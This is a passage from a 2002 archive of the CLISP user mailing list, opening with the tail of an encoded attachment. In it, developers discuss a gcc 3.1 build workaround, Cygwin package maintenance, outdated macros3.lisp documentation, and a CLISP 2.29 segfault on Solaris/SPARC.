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 vf6LncGLrT0LXIdH/x/GZeBupQkEAO== --=-I4dSJ+qDqpsaWYDQU4Xa-- From mkennedy@gentoo.org Thu Jul 25 16:02:16 2002 Received: from sm10.texas.rr.com ([24.93.35.222]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Xrcd-0000qH-00 for ; Thu, 25 Jul 2002 16:02:15 -0700 Received: from gentoo.shacknet.nu (cs6625132-244.austin.rr.com [66.25.132.244]) by sm10.texas.rr.com (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6PN26Jv032368; Thu, 25 Jul 2002 18:02:06 -0500 Subject: Re: [clisp-list] (no subject) From: Matthew Kennedy To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <1027578930.20941.12.camel@gentoo.shacknet.nu> <1027619910.6967.4.camel@gentoo.shacknet.nu> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1027638125.7232.1.camel@gentoo.shacknet.nu> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 25 16:03:01 2002 X-Original-Date: 25 Jul 2002 18:02:05 -0500 On Thu, 2002-07-25 at 13:20, Sam Steingold wrote: > > * In message <1027619910.6967.4.camel@gentoo.shacknet.nu> > > * On the subject of "Re: [clisp-list] (no subject)" > > * Sent on 25 Jul 2002 12:58:30 -0500 > > * Honorable Matthew Kennedy writes: > > > > $ gcc -v > > gcc version 3.1 > > This is a known (reported) bug in gcc 3.1. > A workaround for this bug is to compile CLISP using > > $ CC='gcc -fno-gcse' ./configure ..... > > > Matthew Kennedy > > Gentoo Linux Developer > > who maintains ? > they should refer to which is the official site > (others are just mirrors). > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux > > > non-smoking section in a restaurant == non-peeing section in a swimming pool > Sam, Thanks, I'll try that out. Matt -- Matthew Kennedy Gentoo Linux Developer From rrschulz@cris.com Thu Jul 25 17:15:22 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XslN-0004WL-00 for ; Thu, 25 Jul 2002 17:15:21 -0700 Received: from cliff.concentric.net (cliff.concentric.net [206.173.118.90]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g6Q0FIS17538 ; Thu, 25 Jul 2002 20:15:18 -0400 (EDT) Received: from Clemens.cris.com (da003d0734.sjc-ca.osd.concentric.net [64.1.2.223]) by cliff.concentric.net (8.9.1a) id UAA18146; Thu, 25 Jul 2002 20:15:16 -0400 (EDT) Message-Id: <5.1.0.14.2.20020725124016.01f8f140@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: sds@gnu.org From: Randall R Schulz Subject: Re: [clisp-list] Cygwin feature Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> <3CC6C09C.77A88294@ieee.org> <3CC6C09C.77A88294@ieee.org> <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 25 17:16:05 2002 X-Original-Date: Thu, 25 Jul 2002 17:16:36 -0700 Sam, I would take this on, but you should know that I'd face two learning curves in doing so: 1) Cygwin package maintenance--I've never done it before, though I was thinking of turning my Glimpse indexer port (it was trivial) into a Cygwin package, so learning the ins and outs of Cygwin package preparation and maintenance would kill both these birds 2) CLISP internals--I've never been under the hood of CLISP. The last language interpreter / compiler I worked on was XSB (), which also is also uses a byte-code compile and interpret scheme, so I do have some background with this sort of software. If you find these circumstances acceptable, then I'll undertake to learn about Cygwin packaging. You should inform me (or refer me to the necessary information) about the CLISP CVS repository, the version / tag naming scheme and which is to be used as the basis for a new Cygwin package, how the CLISP principals work w.r.t. to collaborative development, how / when to track ongoing developments by the CLISP developers, other lists I should subscribe to, etc. I just saw the 2.29 release announcement, so I assume this is the target for a Cygwin release. Randall Schulz Mountain View, CA USA At 09:15 2002-07-25, Sam Steingold wrote: >Randall, > > > * In message <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> > > * On the subject of "Re: [clisp-list] Cygwin feature" > > * Sent on Wed, 24 Apr 2002 09:00:24 -0700 > > * Honorable Randall R Schulz writes: > > > > I use Cygwin extensively, so the Cygwin version would interest me > > greatly. I don't doubt the Cygwin principals would accept a CLISP > > package into the Cygwin contributed software. > >Would you like to maintain the Cygwin CLISP package? > > >-- >Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux > > >A man paints with his brains and not with his hands. From Joerg-Cyril.Hoehle@t-systems.com Fri Jul 26 03:57:30 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y2mm-000496-00 for ; Fri, 26 Jul 2002 03:57:28 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 26 Jul 2002 12:56:36 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Jul 2002 12:57:16 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] macros3.lisp documentation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 03:58:03 2002 X-Original-Date: Fri, 26 Jul 2002 12:57:13 +0200 Hi, at some time in CLISP history, src/macros3.lisp became included in the = default image file (so everybody can immediately use the macros). = However, the implementation notes don't reflect this change. " [Extensions-1.10. Additional Fancy Macros] If you uncomment the (LOAD "macros3") line in the file init.lisp before = doing make, or load the file macros3.lisp into a running CLISP, you can = use the following macros: [...] You might want to add a (LOAD "macros3") statement to your .clisprc = file if you do not want to dump your own memory image. " is now superfluous. Please delete these two paragraphs. Thanks, J=F6rg H=F6hle. From samuel.steingold@verizon.net Fri Jul 26 05:51:17 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y4Yu-0006sX-00 for ; Fri, 26 Jul 2002 05:51:16 -0700 Received: (cpmta 7602 invoked from network); 26 Jul 2002 05:51:10 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 26 Jul 2002 05:51:10 -0700 X-Sent: 26 Jul 2002 12:51:10 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] macros3.lisp documentation References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 05:52:02 2002 X-Original-Date: 26 Jul 2002 08:51:08 -0400 > * In message > * On the subject of "[clisp-list] macros3.lisp documentation" > * Sent on Fri, 26 Jul 2002 12:57:13 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > If you uncomment the (LOAD "macros3") line in the file init.lisp > before doing make, or load the file macros3.lisp into a running CLISP, > you can use the following macros: this has been fixed many months ago, as you can see in it will move to the official public pages when the next non-bug-fix release is made. BTW, do you have time now to finish your dynamic loading patch? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux My inferiority complex is the only thing I can be proud of. From samuel.steingold@verizon.net Fri Jul 26 05:52:59 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y4aY-000832-00 for ; Fri, 26 Jul 2002 05:52:58 -0700 Received: (cpmta 8571 invoked from network); 26 Jul 2002 05:52:52 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 26 Jul 2002 05:52:52 -0700 X-Sent: 26 Jul 2002 12:52:52 GMT To: Matthew Kennedy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (no subject) References: <1027578930.20941.12.camel@gentoo.shacknet.nu> <1027619910.6967.4.camel@gentoo.shacknet.nu> <1027638125.7232.1.camel@gentoo.shacknet.nu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1027638125.7232.1.camel@gentoo.shacknet.nu> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 05:53:04 2002 X-Original-Date: 26 Jul 2002 08:52:51 -0400 > * In message <1027638125.7232.1.camel@gentoo.shacknet.nu> > * On the subject of "Re: [clisp-list] (no subject)" > * Sent on 25 Jul 2002 18:02:05 -0500 > * Honorable Matthew Kennedy writes: > > On Thu, 2002-07-25 at 13:20, Sam Steingold wrote: > > > * Honorable Matthew Kennedy writes: > > > gcc version 3.1 > > This is a known (reported) bug in gcc 3.1. > > A workaround for this bug is to compile CLISP using > > $ CC='gcc -fno-gcse' ./configure ..... > Thanks, I'll try that out. 2.29 included a patch that makes this unnecessary -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From samuel.steingold@verizon.net Fri Jul 26 06:02:03 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y4jJ-0002nS-00 for ; Fri, 26 Jul 2002 06:02:01 -0700 Received: (cpmta 10174 invoked from network); 26 Jul 2002 06:01:54 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.139) with SMTP; 26 Jul 2002 06:01:54 -0700 X-Sent: 26 Jul 2002 13:01:54 GMT To: Randall R Schulz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Cygwin feature References: <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> <3CC6C09C.77A88294@ieee.org> <3CC6C09C.77A88294@ieee.org> <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> <5.1.0.14.2.20020725124016.01f8f140@pop3.cris.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.2.20020725124016.01f8f140@pop3.cris.com> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 06:03:02 2002 X-Original-Date: 26 Jul 2002 09:01:53 -0400 > * In message <5.1.0.14.2.20020725124016.01f8f140@pop3.cris.com> > * On the subject of "Re: [clisp-list] Cygwin feature" > * Sent on Thu, 25 Jul 2002 17:16:36 -0700 > * Honorable Randall R Schulz writes: > > You should inform me (or refer me to the necessary information) about > the CLISP CVS repository, the version / tag naming scheme and which is > to be used as the basis for a new Cygwin package, how the CLISP > principals work w.r.t. to collaborative development, how / when to > track ongoing developments by the CLISP developers, other lists I > should subscribe to, etc. You will have to learn how to create Cygwin packages, convince the Cygwin maintainers that CLISP is a valuable contribution to Cygwin (this should not be too hard :-), build CLISP Cygwin packages for each CLISP release (and, probably, for each Cygwin upgrade), monitor Cygwin/CLISP bug reports and decide whether the bug is in Cygwin, in CLISP or in CLISP/Cygwin interaction and redirect the bug appropriately (or fix them yourself). This should not be terribly time-consuming. You should subscribe to and follow-up to this thread there. > I just saw the 2.29 release announcement, so I assume this is the > target for a Cygwin release. yes. 'cvs co -r clisp_2_29-2002-07-25' Thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Never let your schooling interfere with your education. From Joerg-Cyril.Hoehle@t-systems.com Fri Jul 26 06:58:31 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y5bw-0001a2-00 for ; Fri, 26 Jul 2002 06:58:29 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 26 Jul 2002 15:57:29 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Jul 2002 15:58:09 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: dynamic loading of foreign libraries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 06:59:06 2002 X-Original-Date: Fri, 26 Jul 2002 15:58:08 +0200 Sam asked: >BTW, do you have time now to finish your dynamic loading patch? Who would test that beside me? Is Peter still there? Regards, Jorg From jmkatcher@yahoo.com Fri Jul 26 10:22:48 2002 Received: from web14503.mail.yahoo.com ([216.136.224.66]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y8nf-0000W7-00 for ; Fri, 26 Jul 2002 10:22:47 -0700 Message-ID: <20020726172247.75204.qmail@web14503.mail.yahoo.com> Received: from [198.95.226.224] by web14503.mail.yahoo.com via HTTP; Fri, 26 Jul 2002 10:22:47 PDT From: Jeffrey Katcher To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 10:23:05 2002 X-Original-Date: Fri, 26 Jul 2002 10:22:47 -0700 (PDT) System: Fujitsu GP7000F/400 OS: Solaris 2.8 MU7 Compiler: gcc 3.1 System successfully completes 'configure' (even getting past previous gcc 3.1 stoppages). Make builds all object code cleanly, but lisp.run seg faults on 1st invocation. __________________________________________________ Do You Yahoo!? Yahoo! Health - Feel better, live better http://health.yahoo.com From samuel.steingold@verizon.net Fri Jul 26 14:09:31 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17YCL2-0002nJ-00 for ; Fri, 26 Jul 2002 14:09:28 -0700 Received: (cpmta 7077 invoked from network); 26 Jul 2002 14:09:21 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 26 Jul 2002 14:09:21 -0700 X-Sent: 26 Jul 2002 21:09:21 GMT To: Jeffrey Katcher Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1 References: <20020726172247.75204.qmail@web14503.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020726172247.75204.qmail@web14503.mail.yahoo.com> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 14:10:03 2002 X-Original-Date: 26 Jul 2002 17:09:19 -0400 > * In message <20020726172247.75204.qmail@web14503.mail.yahoo.com> > * On the subject of "[clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1" > * Sent on Fri, 26 Jul 2002 10:22:47 -0700 (PDT) > * Honorable Jeffrey Katcher writes: > > System: Fujitsu GP7000F/400 > OS: Solaris 2.8 MU7 > Compiler: gcc 3.1 > > System successfully completes 'configure' (even > getting past previous gcc 3.1 stoppages). good. > Make builds all object code cleanly, do you have ? does it conflict with stdint.h? > but lisp.run seg faults on 1st invocation. oops! can you try to debug it? thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The only thing worse than X Windows: (X Windows) - X From jmkatcher@yahoo.com Fri Jul 26 14:17:40 2002 Received: from web14507.mail.yahoo.com ([216.136.224.70]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17YCSy-0003Qz-00 for ; Fri, 26 Jul 2002 14:17:40 -0700 Message-ID: <20020726211740.50370.qmail@web14507.mail.yahoo.com> Received: from [198.95.226.224] by web14507.mail.yahoo.com via HTTP; Fri, 26 Jul 2002 14:17:40 PDT From: Jeffrey Katcher Subject: Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1 To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 14:18:02 2002 X-Original-Date: Fri, 26 Jul 2002 14:17:40 -0700 (PDT) This system does have sys/int_types.h, but I didn't notice any type conflicts in a quick exam. Before I debug, I'm trying to build a gcc 3.1.1 (which contains fixes for a number of Sparc issues) which I'll use to build clisp 2.29. FYI, It does build and run well in my FreeBSD/Intel environment using the system gcc 2.95.x compiler. Jeff Katcher __________________________________________________ Do You Yahoo!? Yahoo! Health - Feel better, live better http://health.yahoo.com From samuel.steingold@verizon.net Fri Jul 26 14:57:08 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17YD55-000177-00 for ; Fri, 26 Jul 2002 14:57:04 -0700 Received: (cpmta 17995 invoked from network); 26 Jul 2002 14:56:57 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 26 Jul 2002 14:56:57 -0700 X-Sent: 26 Jul 2002 21:56:57 GMT To: Jeffrey Katcher Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1 References: <20020726211740.50370.qmail@web14507.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020726211740.50370.qmail@web14507.mail.yahoo.com> Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 14:58:02 2002 X-Original-Date: 26 Jul 2002 17:56:56 -0400 > * In message <20020726211740.50370.qmail@web14507.mail.yahoo.com> > * On the subject of "Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1" > * Sent on Fri, 26 Jul 2002 14:17:40 -0700 (PDT) > * Honorable Jeffrey Katcher writes: > > This system does have sys/int_types.h, but I didn't > notice any type conflicts in a quick exam. yes, of course - I forgot that you are dealing with 2.29, not the CVS devel version. > Before I debug, I'm trying to build a gcc 3.1.1 (which contains fixes > for a number of Sparc issues) which I'll use to build clisp 2.29. interesting. Could you please also try to build the current CVS head? Thanks. > FYI, It does build and run well in my FreeBSD/Intel > environment using the system gcc 2.95.x compiler. man, you _are_ versatile! Solaris 8, FreeBSD/Intel, FreeBSD/Alpha.... Could you please make the binaries available? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux A computer scientist is someone who fixes things that aren't broken. From jmkatcher@yahoo.com Fri Jul 26 17:19:10 2002 Received: from web14504.mail.yahoo.com ([216.136.224.67]) by usw-sf-list1.sourceforge.net with smtp (Exim 